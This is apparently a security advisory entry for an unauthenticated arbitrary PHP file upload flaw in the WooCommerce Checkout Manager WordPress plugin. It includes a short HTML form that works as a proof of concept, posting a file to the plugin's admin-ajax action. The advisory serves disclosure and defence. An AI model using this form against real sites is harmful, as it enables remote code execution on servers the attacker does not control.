#VU18353 Arbitrary file upload in WooCommerce Checkout Manager
Vulnerability identifier: #VU18353
Vulnerability risk: High
CVSSv3.1: 9.3 [CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C]
CVE-ID:
CWE-ID:
CWE-434
Exploitation vector: Network
Exploit availability: No
Vulnerable software:
WooCommerce Checkout Manager
Web applications /
Modules and components for CMS
Vendor: Visser Labs
Description
The vulnerability allows a remote attacker to compromise vulnerable application.
The vulnerability exists due to missing restrictions when uploading PHP files via the "/wp-admin/admin-ajax.php" URL, when action is set to "wccs_upload_file_func" and valid "order_id" identifier is set. A remote non-authenticated attacker can upload and execute arbitrary PHP file on the server.
Exploitation example:
<html> <body> <form action="http://[host]/wp-admin/admin-ajax.php?action=wccs_upload_file_func&order_id=[order ID]&name=test" method="POST" enctype="multipart/form-data"> <input type="file" name="test[1]" /> <input type="submit" value="Submit" /> </form> </body> </html>
Mitigation
Cybersecurity Help is currently unaware of any official solution to address this vulnerability.
Vulnerable software versions
WooCommerce Checkout Manager: 3.0 - 4.2.6
External links
http://www.pluginvulnerabilities.com/2019/04/23/our-proactive-monitoring-caught-an-arbitrary-file-upload-vulnerability-in-woocommerce-checkout-manager/
http://medium.com/@xorloop/wordpress-security-researcher-gone-rogue-a76484ed0fc9
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.
